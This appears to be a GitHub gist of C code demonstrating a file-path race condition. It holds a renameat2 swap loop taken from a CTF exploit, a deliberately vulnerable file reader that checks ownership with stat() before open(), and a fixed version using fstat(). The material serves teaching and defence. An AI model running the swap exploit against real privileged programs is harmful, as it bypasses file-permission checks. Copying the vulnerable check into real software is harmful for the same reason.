Skip to content

Instantly share code, notes, and snippets.

@LiveOverflow
Created December 18, 2019 01:30
Show Gist options
  • Star 13 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save LiveOverflow/590edaf5cf3adeea31c73e303692dec0 to your computer and use it in GitHub Desktop.
Save LiveOverflow/590edaf5cf3adeea31c73e303692dec0 to your computer and use it in GitHub Desktop.
File Path Race Condition
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>
// source https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c
int main(int argc, char *argv[]) {
while (1) {
syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
}
return 0;
}
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
int main(int argc, char* argv[]) {
int fd;
int size = 0;
char buf[256];
if(argc != 2) {
printf("usage: %s <file>\n", argv[0]);
exit(1);
}
struct stat stat_data;
if (stat(argv[1], &stat_data) < 0) {
fprintf(stderr, "Failed to stat %s: %s\n", argv[1], strerror(errno));
exit(1);
}
if(stat_data.st_uid == 0)
{
fprintf(stderr, "File %s is owned by root\n", argv[1]);
exit(1);
}
fd = open(argv[1], O_RDONLY);
if(fd <= 0)
{
fprintf(stderr, "Couldn't open %s\n", argv[1]);
exit(1);
}
do {
size = read(fd, buf, 256);
write(1, buf, size);
} while(size>0);
}
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
int main(int argc, char* argv[]) {
int fd;
int size = 0;
char buf[256];
if(argc != 2) {
printf("usage: %s <file>\n", argv[0]);
exit(1);
}
fd = open(argv[1], O_RDONLY);
if(fd <= 0)
{
fprintf(stderr, "Couldn't open %s\n", argv[1]);
exit(1);
}
struct stat stat_data;
if (fstat(fd, &stat_data) < 0) {
fprintf(stderr, "Failed to stat %s: %s\n", argv[1], strerror(errno));
exit(1);
}
if(stat_data.st_uid == 0)
{
fprintf(stderr, "File %s is owned by root\n", argv[1]);
exit(1);
}
do {
size = read(fd, buf, 256);
write(1, buf, size);
} while(size>0);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment